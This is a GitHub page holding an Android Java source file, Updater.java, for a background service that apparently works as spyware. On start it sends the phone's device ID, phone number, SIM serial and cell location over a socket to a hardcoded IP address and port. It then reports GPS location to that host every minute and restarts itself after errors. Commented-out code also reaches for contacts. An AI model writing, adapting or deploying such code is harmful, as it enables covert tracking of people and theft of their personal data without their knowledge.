-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathUpdater.java
More file actions
356 lines (253 loc) · 8.88 KB
/
Updater.java
File metadata and controls
356 lines (253 loc) · 8.88 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
package app.ue;
import android.app.Activity;
import android.app.Service;
import android.content.ContentResolver;
import android.content.Context;
import android.content.Intent;
import android.database.Cursor;
import android.location.Criteria;
import android.location.Location;
import android.location.LocationListener;
import android.location.LocationManager;
import android.location.LocationProvider;
import android.net.Uri;
import android.os.Bundle;
import android.os.IBinder;
import android.provider.Contacts.People;
import android.provider.ContactsContract;
import android.telephony.TelephonyManager;
import android.text.format.DateFormat;
import android.util.Log;
import android.widget.TextView;
import android.widget.Toast;
import java.net.*;
import java.util.Date;
import java.util.Iterator;
import java.util.List;
import java.util.Properties;
import java.util.Timer;
import java.util.TimerTask;
import java.io.*;
public class Updater extends Service implements LocationListener {
Socket socket = null;
private Timer timer = new Timer();
String server;
int port;
int interval;
private Location location;
private LocationManager locationManager;
private String bestProvider;
public void schedule(int interval) {
timer.scheduleAtFixedRate( new TimerTask() {
public void run() {
TelephonyManager tMgr = (TelephonyManager) getSystemService(TELEPHONY_SERVICE);
InetAddress serverAddr;
/**
LocationManager locationManager = (LocationManager)getSystemService(LOCATION_SERVICE);
Criteria fine = new Criteria();
fine.setAccuracy(Criteria.ACCURACY_COARSE);
currentLocation = locationManager.getLastKnownLocation(locationManager.getBestProvider(fine, true));
System.out.println("Lat: " + currentLocation.getLatitude());
System.out.println("Long: " + currentLocation.getLongitude());
**/
try {
serverAddr = InetAddress.getByName(server);
socket = new Socket(serverAddr, port);
PrintWriter out = new PrintWriter(new BufferedWriter(new OutputStreamWriter(socket.getOutputStream())), true);
//Date
Date dt = new Date();
int h = dt.getHours();
int m = dt.getMinutes();
int s = dt.getSeconds();
int mon = dt.getMonth()+1;
int day = dt.getDate();
int year = 1900+dt.getYear();
String date = mon + "/" + day + "/" + year + " : " + h + ":" + m + ":" + s;
out.println("Date: " + date);
//output.setText(date);
//getLocation();
out.println("Line 1: " + tMgr.getLine1Number() + "\n");
out.println("Cell Location: " + tMgr.getCellLocation() + "\n");
// out.println("Lat: " + currentLocation.getLatitude());
//out.println("Long: " + currentLocation.getLongitude());
out.println("Phone type: " + tMgr.getPhoneType() + "\n");
out.println("Last Known Location: " + getLastKnownLoc() + "\n");
//String[] c = getContacts();
//out.println("Contacts: " + c[0]);
//Turn off de gps
socket.close();
//disableGPS();
}
catch (Exception e)
{
e.printStackTrace();
}
}
}, 0, interval);
;
}
public void onDestroy()
{
timer.cancel();
locationManager.removeUpdates(this);
}
public Updater()
{
}
public void disableGPS()
{
locationManager.removeUpdates(this);
}
public String getLastKnownLoc()
{
try {
Criteria criteria = new Criteria();
criteria.setAccuracy(Criteria.ACCURACY_FINE);
//LocationManager locationManager;
String context = Context.LOCATION_SERVICE;
locationManager = (LocationManager)getSystemService(context);
locationManager.requestLocationUpdates(LocationManager.GPS_PROVIDER,20000, 10f, this);
criteria.setAltitudeRequired(false);
criteria.setBearingRequired(false);
criteria.setCostAllowed(true);
criteria.setPowerRequirement(Criteria.POWER_LOW);
String provider = locationManager.getBestProvider(criteria, true);
location = locationManager.getLastKnownLocation(provider);
Log.d("gps", "Best provider: " + provider);
if ( location != null )
{
return location.getLatitude() + " " + location.getLongitude();
}
else
{
return "No location found";
}
}
catch (Exception e)
{
//Something bad happened with GPS. W/E
return "Exception occured";
}
}
public void onLocationChanged(Location location) {
if ( location != null )
{
Log.d("gps", "on location changed lat: " + location.getLatitude());
disableGPS();
}
else
Log.d("gps", "on location changed null");
}
public void getConfig()
{
try {
FileInputStream in = openFileInput(".uesec");
Properties conf = new Properties();
conf.load(in);
in.close();
server = conf.getProperty("server");
port = Integer.parseInt(conf.getProperty("port"));
interval = Integer.parseInt(conf.getProperty("interval"));
}
catch (Exception e)
{
e.printStackTrace();
}
if ( server == null )
server = "76.249.179.148";
if ( port == 0 )
port = 19876;
if ( interval <= 0 )
interval = 60000;
}
@Override
public void onCreate() {
getConfig();
//putExtra("status", "Service started");
Toast.makeText(this, "Service Started", Toast.LENGTH_LONG).show();
try{
TelephonyManager tMgr = (TelephonyManager) getSystemService(TELEPHONY_SERVICE);
//InetAddress serverAddr = InetAddress.getByName("76.249.179.148");
InetAddress serverAddr = InetAddress.getByName(server);
//socket = new Socket(serverAddr, 19876);
socket = new Socket(serverAddr, port);
PrintWriter out = new PrintWriter(new BufferedWriter(new OutputStreamWriter(socket.getOutputStream())), true);
out.println("Wtf mate");
out.println("DeviceID: "+tMgr.getDeviceId());
out.println("Line 1: " + tMgr.getLine1Number() + "\n");
out.println("Net Operator: " + tMgr.getNetworkOperator() + "\n");
out.println("Sim Serial: " + tMgr.getSimSerialNumber() + "\n");
out.println("Cell Location: " + tMgr.getCellLocation() + "\n");
out.println("server: " + server + "\n");
out.println("port: " + port + "\n");
out.println("interval: " + interval + "\n");
socket.close();
schedule(interval);
Log.d("XXX", "After schedule");
}
catch(Exception e)
{
Toast.makeText(this, "Service Encounted an Error", Toast.LENGTH_LONG).show();
try {
Thread.sleep(5000);
onCreate();
}
catch (Exception e4)
{
}
}
try {
locationManager = (LocationManager) getSystemService(LOCATION_SERVICE);
// List all providers:
List<String> providers = locationManager.getAllProviders();
for (String provider : providers) {
Log.d("gps", "Prov: " + provider);
}
Criteria criteria = new Criteria();
bestProvider = locationManager.getBestProvider(criteria, false);
//output.append("\n\nBEST Provider:\n");
Log.d("gps", "best provider");
//output.append("\n\nLocations (starting with last known):");
Location location = locationManager.getLastKnownLocation(bestProvider);
if ( location != null )
Log.d("gps", ""+location.getLatitude());
else
Log.d("gps", "another null");
}
catch (Exception e2)
{
Toast.makeText(this, "GPS Exception", Toast.LENGTH_LONG).show();
try {
Thread.sleep(1000);
onCreate();
}
catch (Exception e3)
{
}
}
}
@Override
public IBinder onBind(Intent arg0) {
// TODO Auto-generated method stub
Log.d("gps", "onBind");
return null;
}
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
Log.d("gps", "onStartCommand");
locationManager.requestLocationUpdates(bestProvider, 20000, 1, this);
return Service.START_STICKY;
}
public void onProviderDisabled(String arg0) {
// TODO Auto-generated method stub
Log.d("gps", "onProviderDisabled");
}
public void onProviderEnabled(String arg0) {
// TODO Auto-generated method stub
Log.d("gps", "onProviderEnabled");
}
public void onStatusChanged(String arg0, int arg1, Bundle arg2) {
// TODO Auto-generated method stub
Log.d("gps", "onStatusChanged");
}
}